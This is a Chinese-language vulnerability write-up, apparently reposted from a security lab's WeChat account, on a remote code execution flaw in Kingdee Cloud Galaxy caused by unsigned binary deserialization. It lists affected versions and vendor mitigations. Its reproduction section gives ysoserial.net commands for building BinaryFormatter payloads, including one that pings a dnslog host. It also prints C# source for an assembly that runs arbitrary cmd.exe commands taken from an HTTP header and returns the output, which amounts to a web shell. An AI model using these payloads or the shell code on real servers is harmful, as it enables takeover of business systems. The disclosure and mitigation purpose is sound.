金蝶云星空存在远程代码执行漏洞,由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。
6.x <= 6.2.1012.4 7.0.352.16 <= 金蝶云星空
7.x <= 7.7.0.202111
8.0.0.202205 <= 金蝶云星空 8.x <= 8.1.0.20221110
2.对漏洞进行复现
POC （POST）
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本次漏洞复现需要借助ysoserial.net工具构造恶意序列化数据实现RCE。
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping nnau95.dnslog.cn"
dnslog测试，将上述ap0中替换为ysoserial.exe中生成的内容
有回显测试，替换内容即可。
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll命令中 -f 指定的是.net程序中的序列化类，-g 是ysoserial.net工具中的攻击链， 这里指定的是ActivitySurrogateSelectorFromFile链，这个攻击链可加载自定义的程序集。-c 是构造的程序集（ExploitClass.cs），后面的dll文件是.NET Framework中的一个核心DLL文件，包含了一些相关的类和方法(自行加载，不需要构造)
这里需要文件ExploitClass.cs，内容如下。
class E{public E(){System.Web.HttpContext context = System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.FileName = "cmd.exe";string cmd = context.Request.Headers["cmd"];process.StartInfo.Arguments = "/c " + cmd;process.StartInfo.RedirectStandardOutput = true;process.StartInfo.RedirectStandardError = true;process.StartInfo.UseShellExecute = false;process.Start();string output = process.StandardOutput.ReadToEnd();context.Response.Write(output);} catch (System.Exception) {}context.Response.Flush();context.Response.End();}}
命令测试省略。
3.Xpoc测试（漏洞存在）
https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1https://blog.csdn.net/qq_41904294/article/details/131332436
缓解方案
对于低于PT123230 [6.2.1012.4]版本的金蝶云星空：请禁止把金蝶云星空管理中心发布到公网访问，并使用防火墙设置能访问管理中心的IP白名单。如有需要发布到外网，或内网需要访问管理中心，可设置白名单进行控制。
8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解，注意管理中心与普通应用
配置文件均需添加：
# 普通应用配置：{WebROOT}KingdeeK3CloudWebSiteApp_DataCommon.config# 管理中心配置：{WebROOT}KingdeeK3CloudServicesManagementServiceApp_DataCommon.configEnabledKDSVCBinary = false
由于该漏洞不仅影响管理中心（默认8000端口），也影响普通应用（默认80端口）。如果其它版本通过限制访问来源临时缓解漏洞，需要考虑是否会中断普通用户Web业务。
原文始发于微信公众号（弥天安全实验室）：金蝶云星空远程代码执行漏洞
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